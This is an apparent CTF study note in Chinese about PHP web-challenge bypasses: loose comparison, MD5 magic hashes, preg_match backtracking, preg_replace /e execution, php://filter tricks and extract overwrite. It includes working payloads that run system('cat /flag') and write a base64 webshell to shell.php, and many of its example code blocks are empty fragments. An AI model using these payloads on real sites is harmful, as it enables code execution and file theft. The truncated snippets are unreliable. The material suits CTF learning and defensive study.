
PHP基础
常用php特性总结
弱类型比较绕过
php是一种弱类型语言,只要求比较的两个值在转换类型后相等
php中有两种比较符号 == 和 ===
== 在比较时会先将字符串转换为相同类型,再进行比较
=== 会先判断是否类型相同,再比较
1 | admin == 0 // true (字符串被强制转换为0) |
例题:
1 |
|
Switch/case松散比较
例题:
1 |
|
?which=flag即可读到flag.php文件
MD5绕过
$md5==md5($md5)
1 | md5=0e215962017 |
==
0e开头的md5和原值:
1 | QNKCDZO |
(string)!==&&(string)==
用0e中的字符串,转成String后无法使用数组
!==&&===
【1】数组绕过
1 | a[]=1&b[]=2; |
【2】md5强碰撞(fastcoll)
例:
1 | ((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana)) |
若强转成String且strlen()<=3
在php中,NAN和INF都是特殊的浮点数
当运算无法计算结果时,会产生NAN
INF表示无穷大,数值超过PHP_FLOAT_MAX或使用一些数学函数产生极大或极小的结果时,会产生INF
以下栗子中,abc是字符串类型,d是浮点型
MD5以字符串进行加密 所以md5等
1 |
|
true
若需为可打印字符且$a!=$b&&md5($a)===md5($b)
例题:
1 | if(ctype_print($a) && ctype_print($b)){ |
以下md5同:
1 | TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak |
preg_match 绕过
利用preg_match回溯次数绕过
1 | $try=$_POST['try']; |
preg_match():其中的’.’代表着匹配前面的单个字符,’+’代表匹配一次或者是多次,’+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*HACKER,就会返回true),回溯次数在100万次就会崩溃
stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE
满足条件:
[1]不含*HACKER
[2]HACKER不为第一个字符串
exp:
1 | import requests |
preg_replace /e模式 (php5.5.0以下)
例题:
1 |
|
preg_replace($pattern,$replacement,$subject);
将$subject
中与$pattern
匹配的部分用$replacement
替换
e模式下的preg_replace可以让第二个参数’替换字符串’当作代码执行
上面题目相当于执行
1 | eval('strtolower("\\1")') |
转义后为\1
,反向引用(\几就匹配第几个)
1 | \S 表示匹配任意非空白字符(包括字母、数字、标点符号等,不包括空格、制表符、换行符等空白字符) |
- (‘.\S*.’) 这个模式的意思是:
- 匹配以一个任意字符(除换行符)开头(即.),后跟零个或多个非空白字符(\S*),再后跟一个任意字符(即.)。
- 最终结果是,整个模式要求有一些字符(任意字符和非空白字符)的组合在一起。
foreach循环GET传参 以键值对的形式传参,$re
的值作为参数名(键) $str
的值作为参数值(键值)
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;
单引号中的变量不会被处理。
${}中间可以放要执行的函数
本题中第二个参数不可变,但是strtolower(“\1”)正好是匹配区的第一个,如果$subject中的内容可以全部匹配,可以执行该函数
1 | preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)//原语句 |
由于GET传参.
会变成_
所以改用\S*
payload:
1 | ?\S*=${getFlag()}&cmd=system('cat /flag'); |
PHP伪协议
file://
file:// + 绝对路径
1 | file:///var/www/html/index.php |
data://
1 | data://text/plain,123456 读出来的直接就是逗号后面的内容 |
php://input
1 | php://filter/convert.base64-encode/resource= +文件名 |
convert.iconv
php://filter/convert.iconv.UTF-7.UCS-4*/resource=xxx.php
利用burp爆破
读取文件
SplFileObject类
[1]
1 | $a = 'SplFileObject'; |
[2]
1 | $a = 'SplFileObject'; |
file_get_contents()
1 | echo file_get_content($a); |
fopen()
1 | echo fread(fopen($a, 'r'), filesize($a)); |
base64
1 | base64 /fl4g |
输出/fl4g文件base64编码后的内容
各种绕过姿势
intval()
例:
1 | if(intval($num)<2020 && intval($num+1)>2021) |
在PHP7.2.5以下某版本前,intval()无法正确解析e/E,于是在有e/E的时候即立即停止,导致科学计数法未生效,但是在参与运算时则被正确解析$num=1e4
即可绕过
若限制不可见字符
1 | function is_valid($s) { |
在php中’s’->字符串,’S’->16进制字符串
%00是不可见字符 需将其转换成16进制字符串\00
反序列化时:
1 | $bai = urlencode(serialize(new FileHandler)); |
file_put_content()
php死亡退出
1 | file_put_contents($filename,"<?php exit();".$content); |
传参:
1 | filename=php://filter/convert.base64-decode/resource=shell.php |
filename先将内容进行解码后写入文件
content是一句话木马base64编码后的代码
phpexit有7个字节,base64编码以4个字节为一组,前面需添加一个字节来满足编码
Extract变量替换
例题:
1 |
|
extract变量替换,直接将变量的值换成url中后面所替换的值($_REQUEST)
payload:
1 | 127.0.0.1/note.php?notes_directory=&file=flag |